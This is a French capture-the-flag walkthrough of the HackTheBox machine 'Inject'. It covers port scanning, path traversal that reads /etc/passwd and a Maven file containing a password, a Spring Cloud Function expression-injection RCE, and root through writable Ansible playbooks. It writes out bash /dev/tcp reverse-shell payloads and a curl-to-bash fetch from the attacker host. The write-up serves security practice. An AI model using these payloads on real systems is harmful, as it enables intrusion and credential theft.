HackTheBox Walkthrough - Inject

  • Machine ciblée : Inject.

  • Répertoire : /home/kali/Inject

  • Temps passé dessus :

Changelog du template

  • Version 1.0 - Sep. 2022 : création du template de base

  • Version 1.1 - Oct. 2022 : Rajout des scan nmap et des commandes de base

  • Version 1.2 - Nov. 2022 : Rajout des redirection pour éviter les retours d’erreur et du domaine pour être compliant avec TryHackMe

  • Version 1.3 - Nov. 2022 : Ajout du scan UDP + de l’export vers searchsploit

  • Version 1.4 - Dec. 2022 : Changement de l’export vers searchsploit pour gagner du temps + rajout des scripts vuln sur le full pour confirmer.

  • Pour la version 1.5 : Gérer le montage de VPN. [if Tun0 existe and IP ~=~ 10.0.0.X] Rien, sinon lancer le vpn.

Phase 1 : Reconnaissance

┌──(kali㉿kali)-[~]
└─$
name="Inject"
repository="/home/kali/$name"
ip="10.129.181.154"
domain='htb'
cd $repository 2&>/dev/null || mkdir $repository && cd $repository
grep "$ip $name ${name}.${domain}" /etc/hosts  >/dev/null || echo "$ip $name ${name}.${domain}" | sudo tee -a /etc/hosts

nmap  -Pn -A -T5 --top-port 1000 -oN $repository/txt -oX $repository/sploitable $ip
searchsploit --nmap $repository/sploitable
nmap  -Pn -A -T5 -p - --script vuln -oN $repository/full -oX $repository/fullsploitable $ip
sudo nmap  -Pn -A -T5 -sU -p - -oN $repository/udp -oX $repository/udploitable $ip
searchsploit --nmap $repository/udploitable

10.129.182.158 Inject Inject.htb
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-13 15:18 CET
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)
|   256 d51c81c97b076b1cc1b429254b52219f (ECDSA)
|_  256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)
8080/tcp open  nagios-nsca Nagios NSCA
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Phase 2 : Analyse

Bon, il s’agit là encore plus ou moins des classiques, un site web sur le port 8080 (Ohoh !) et un ssh. Allons jetez un oeil du côté de tout ça.

┌──(kali㉿LuKaLi)-[~/Inject]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://$name.$domain:8080
===============================================================
/register             (Status: 200) [Size: 5654]
/blogs                (Status: 200) [Size: 5371]
/upload               (Status: 200) [Size: 1857]
/environment          (Status: 500) [Size: 712]
/error                (Status: 500) [Size: 106]
/release_notes        (Status: 200) [Size: 1086]

On voit donc une fonction upload … ça veut dire qu’on peut peut-être se pousser un reverse shell ou faire du directory traversal ! N.B : Me tapez pas, j’viens de finir Agile, où je me suis dit qu’il fallait que je fasse mieux mon directory traversal, et j’ai réussi à le rater ici aussi, il a fallut que j’aille le trouver sur internet …

┌──(kali㉿LuKaLi)-[~/Téléchargements]
└─$ burpcurl http://$name.$domain:8080/upload  -F file=@../Téléchargements/randomphoto.jpg
[...]
       <h4 class="text-success">Uploaded!</h4>
        <a class="text-success" href="/show_image?img=randomphoto.jpg">View your Image</a>
[...]
┌──(kali㉿LuKaLi)-[~/Téléchargements]
└─$ burpcurl http://$name.$domain:8080/show_image?img=../../../../../../../../../../../../../../../etc/passwd #VOILA, t'en as assez des ../ ?????
*   Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET http://Inject.htb:8080/show_image?img=../../../../../../../../../../../../../../../etc/passwd HTTP/1.1

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
frank:x:1000:1000:frank:/home/frank:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
phil:x:1001:1001::/home/phil:/bin/bash
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:997:996::/var/log/laurel:/bin/false

Ok donc on a nos infos. On sait donc qu’il y a un utilisateur frank et un phil.

Phase 3 : User

┌──(kali㉿LuKaLi)-[~/Téléchargements]
└─$ burpcurl http://$name.$domain:8080/show_image?img=../../../../../../../../../../../../../../../home/phil/
.bash_history
.bashrc
.cache
.profile
user.txt

Oh, je l’ai tenté au cas où, mais j’y croyais pas à elle… On a le flag user ?

┌──(kali㉿LuKaLi)-[~/Téléchargements]
└─$ burpcurl http://$name.$domain:8080/show_image?img=../../../../../../../../../../../../../../../home/phil/user.txt
*   Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET http://Inject.htb:8080/show_image?img=../../../../../../../../../../../../../../../home/phil/user.txt HTTP/1.1
* transfer closed with 33 bytes remaining to read

Dommage. Bon, et du côté de frank ?

┌──(kali㉿LuKaLi)-[~/Téléchargements]
└─$ burpcurl http://$name.$domain:8080/show_image?img=../../../../../../../../../../../../../../../home/frank/
.bash_history
.bashrc
.cache
.local
.m2
.profile

┌──(kali㉿LuKaLi)-[~/Téléchargements]
└─$ burpcurl http://$name.$domain:8080/show_image?img=../../../../../../../../../../../../../../../home/frank/.m2
settings.xml

┌──(kali㉿LuKaLi)-[~/Téléchargements]
└─$ burpcurl http://$name.$domain:8080/show_image?img=../../../../../../../../../../../../../../../home/frank/.m2/settings.xml
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
  <servers>
    <server>
      <id>Inject</id>
      <username>phil</username>
      <password>DocPhillovestoInject123</password>
      <privateKey>${user.home}/.ssh/id_dsa</privateKey>
      <filePermissions>660</filePermissions>
      <directoryPermissions>660</directoryPermissions>
      <configuration></configuration>
    </server>
  </servers>
</settings>

Tiens, est-ce que ça serait pas intéressant ça ?

┌──(kali㉿LuKaLi)-[~/Téléchargements]
└─$ ssh phil@$name
phil@inject's password:
Permission denied, please try again.
phil@inject's password:

Dommage² … Bon, on se garde ça sous le coude au cas où. On parle par ici d’un id_dsa ; on va voir si l’on peut pas trouver un truc avec ça …

┌──(kali㉿LuKaLi)-[~/Téléchargements]
└─$ burpcurl http://$name.$domain:8080/show_image?img=../../../../../../../../../../../../../../../home/frank/.ssh
{"timestamp":"2023-03-13T15:43:44.328+00:00","status":500,"error":"Internal Server Error","message":"URL [file:/var/www/WebApp/src/main/uploads/../../../../../../../../../../../../../../../home/frank/.ssh] cannot be resolved in the file system for checking its content length","path":"/show_image"}

Ok donc on en a pas plus appris, par contre on connais le chemin du webapp maintenant ! /var/www/WebApp/src/main/uploads. On va jeter un oeil vers là-bas. Je la fais en rapide, en vrai, j’ai regardé tous les dossiers et tout un à un. Je garde là que ce qui me semble important.

┌──(kali㉿LuKaLi)-[~/Téléchargements]
└─$ burpcurl http://$name.$domain:8080/show_image?img=../../../../../../../../../../../../../../../var/www/WebApp
.classpath
.DS_Store
.idea
.project
.settings
HELP.md
mvnw
mvnw.cmd
pom.xml
src
target
┌──(kali㉿LuKaLi)-[~/Téléchargements]
└─$ burpcurl http://$name.$domain:8080/show_image\?img=../../../../../../../../../../../../../../../var/www/WebApp/src/main/java/com/example/WebApp/user/UserController.java
    @PostMapping("/upload")
    public String Upload(@RequestParam("file") MultipartFile file, Model model){
        String fileName = StringUtils.cleanPath(file.getOriginalFilename());
        if (!file.isEmpty() && !fileName.contains("/")){
            String mimetype = new MimetypesFileTypeMap().getContentType(fileName);
            String type = mimetype.split("/")[0];
            if (type.equals("image")){

                try {
                    Path path = Paths.get(UPLOADED_FOLDER+fileName);
                    Files.copy(file.getInputStream(),path, StandardCopyOption.REPLACE_EXISTING);
                } catch (IOException e){
                    e.printStackTrace();
                }
                model.addAttribute("name", fileName);
                model.addAttribute("message", "Uploaded!");
            } else {
                model.addAttribute("message", "Only image files are accepted!");
            }

        } else {
            model.addAttribute("message", "Please Upload a file!");
        }
        return "upload";
    }


> GET http://Inject.htb:8080/show_image?img=../../../../../../../../../../../../../../../var/www/WebApp/pom.xml HTTP/1.1
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
        <modelVersion>4.0.0</modelVersion>
        <parent>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-starter-parent</artifactId>
                <version>2.6.5</version>
                <relativePath/> <!-- lookup parent from repository -->
        </parent>
        <groupId>com.example</groupId>
        <artifactId>WebApp</artifactId>
        <version>0.0.1-SNAPSHOT</version>
        <name>WebApp</name>
        <description>Demo project for Spring Boot</description>
        <properties>
                <java.version>11</java.version>
        </properties>
        <dependencies>
                <dependency>
                        <groupId>com.sun.activation</groupId>
                        <artifactId>javax.activation</artifactId>
                        <version>1.2.0</version>
                </dependency>

                <dependency>
                        <groupId>org.springframework.boot</groupId>
                        <artifactId>spring-boot-starter-thymeleaf</artifactId>
                </dependency>
                <dependency>
                        <groupId>org.springframework.boot</groupId>
                        <artifactId>spring-boot-starter-web</artifactId>
                </dependency>

                <dependency>
                        <groupId>org.springframework.boot</groupId>
                        <artifactId>spring-boot-devtools</artifactId>
                        <scope>runtime</scope>
                        <optional>true</optional>
                </dependency>

                <dependency>
                        <groupId>org.springframework.cloud</groupId>
                        <artifactId>spring-cloud-function-web</artifactId>
                        <version>3.2.2</version>
                </dependency>
                <dependency>
                        <groupId>org.springframework.boot</groupId>
                        <artifactId>spring-boot-starter-test</artifactId>
                        <scope>test</scope>
                </dependency>
                <dependency>
                        <groupId>org.webjars</groupId>
                        <artifactId>bootstrap</artifactId>
                        <version>5.1.3</version>
                </dependency>
                <dependency>
                        <groupId>org.webjars</groupId>
                        <artifactId>webjars-locator-core</artifactId>
                </dependency>

        </dependencies>
        <build>
                <plugins>
                        <plugin>
                                <groupId>org.springframework.boot</groupId>
                                <artifactId>spring-boot-maven-plugin</artifactId>
                                <version>${parent.version}</version>
                        </plugin>
                </plugins>
                <finalName>spring-webapp</finalName>
        </build>

</project>

Bon, j’ai pas mal fouillé, je vois pas grand chose d’autre que ça. On peut voir qu’il va être dur d’abuser la fonction uploads pour injecter du code. Mais dans le fichier pom.xml, on voit que org.springframework.cloud est en version 3.2.2. Il semblerait qu’il y ai une RCE là dessus … Faisons des tests :

┌──(kali㉿LuKaLi)-[~/Inject]
└─$ burpcurl -X POST $name.$domain:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/10.10.15.186/3333 0>&1")' --data-raw 'data' -v



frank@inject:/$ su - phil
su - phil
Password: DocPhillovestoInject123

ls
user.txt
id
uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff)
cat user.txt
728aa0df7529189ed01f1afa736e00e1

Bon, pour l’annecdote, j’ai voulu me mettre une clé public chez phil afin de me co en ssh, mais devinez quoi ?

cat /etc/ssh/sshd_config
DenyUsers phil
#PermitRootLogin prohibit-password

Salaud. Bon, on va le faire sur frank puis on refera un su -

frank@inject:/$ cd /home/frank/
cd /home/frank/
frank@inject:~$ mkdir -p .ssh
mkdir -p .ssh
frank@inject:~$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIO6P3cM2cr0Akhy+Q5z5m3CwUl4f7N61EX/MetaVIQiG' > .ssh/authorized_keys
<5z5m3CwUl4f7N61EX/MetaVIQiG' > .ssh/authorized_keys
frank@inject:~$ chmod 700 ./.ssh && chmod 600 ./.ssh/authorized_keys
chmod 700 ./.ssh && chmod 600 ./.ssh/authorized_keys
┌──(kali㉿LuKaLi)-[~/Inject]
└─$ ssh -i id_ecdsa frank@Inject
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-144-generic x86_64)
frank@inject:~$

Ok, on est parti pour le root.

Phase 4 : Élévation de privilège

A froid, je pense qu’il y a un truc à faire avec le staff group. On va voir. J’ai donc envoyé un linpeas et cherché du côté de staff. C’est pourquoi j’ai envoyé un pspy sur le serveur. (ça fait longtemps que je ne m’en suis pas servi … autant tester !)

frank@inject:~$ su - phil
Password:
phil@inject:~$ curl http://10.10.15.186:8000/linpeas.sh | bash

hil@inject:~$ wget http://10.10.15.186:8000/pspy64
--2023-03-13 16:48:40--  http://10.10.15.186:8000/pspy64
Connecting to 10.10.15.186:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64  100%  [========================>]   2.96M   198KB/s    in 15s

phil@inject:~$ chmod +x ./pspy64
phil@inject:~$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d

2023/03/13 16:50:02 CMD: UID=0     PID=40385  | /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml

Cette parti là me semble intéressante. En effet, on voit que root lance un ansible-parrallel sur tous les fichiers yaml présent dans /opt/automation/tasks. Qui dit ansible dit droits root potentiels sur la machine.

phil@inject:~$ cat <<EOF >/opt/automation/tasks/playbook2.yml
- hosts: localhost
  tasks:
  - name: Rooting the machine.
    ansible.builtin.shell:
      cmd: bash -c "bash -i >& /dev/tcp/10.10.15.186/3333 0>&1"
EOF
phil@inject:~$ cat <<EOF >/opt/automation/tasks/playbook3.yml
- hosts: localhost
  tasks:
  - name: Rooting the machine.
    shell: bash -c "bash -i >& /dev/tcp/10.10.15.186/3333 0>&1"
EOF
root@inject:/opt/automation/tasks# id
uid=0(root) gid=0(root) groups=0(root)
root@inject:/opt/automation/tasks# cat /root/root.txt
cat /root/root.txt
25fba7dfa8427f8d9c9a41d1ac32e513

Ok bon j’avoue, sur la fin je commençais un peu à en avoir marre : j’ai tenté 15 fois le shell, j’avais pas mis le bash -c; je l’ai trouvé sur Breached encore (mais comme j’avais la logique, j’m’en veux pas) ; est-ce que c’est ça qui a fait que j’avais pas mon reverse shell ; je ne sais pas. J’ai voulu voir lequel des deux playbook m’avait fait passer root, mais la VM s’est stopé quand j’ai entré le flag. je verrai une autre fois.

Récapitulatif

Ok donc la machine était une « easy ». Je l’ai fait en à peu près 2h-3h. C’est cohérent. Je trouve ça assez relou de te présenter un file upload mais qui sert au final à faire du directory traversal, c’est pour moi un piège (rabbithole) surtout que la box s’appelle inject qui n’est pas censé être présent sur une easy. Pareil pour l’exploit de faille, je sais pas d’où tu sors la Payload perso. Passez cela, la box est cool. Elle te force à faire de l’énum, tu fouilles pas mal grâce au Directory Traversal, puis tu exploite une RCE (plutôt obscure soit dit en passant). J’ai aussi pas mal aimé le coup de phil qu’à pas le droit de se connecter en ssh, et qu’il faille passer par frank au début alors que t’as le mot de passe facilement. Enfin, la privesc est plutôt sympa,; ça sensibilise un peu sur les danger d’Ansible. En regardant sur la doc d’Ansible, on comprends que la faille marche sur toutes les installations ansible.

A retenir

Côté sécu :

  • Toujours mettre à jour, mais ça osef ;

  • Ne jamais lancer de playbook automatiquement en root sur une machine. Sinon toute personne qui peut écrire un fichier dans le répertoire est root. Côté attaque :

  • Ne pas se focaliser sur une injection quand on peut peut-être faire du directory traversal ;

  • Ne pas hésiter à rajouter du ../../.. en veux-tu en voilà ; ça évite de passer à côté du DT ;

  • Faire un petit dictionnaire avec toutes ses payloads ; je suis pas capable de me les créer moi même à la volée, et t’en as plein que je comprends pas…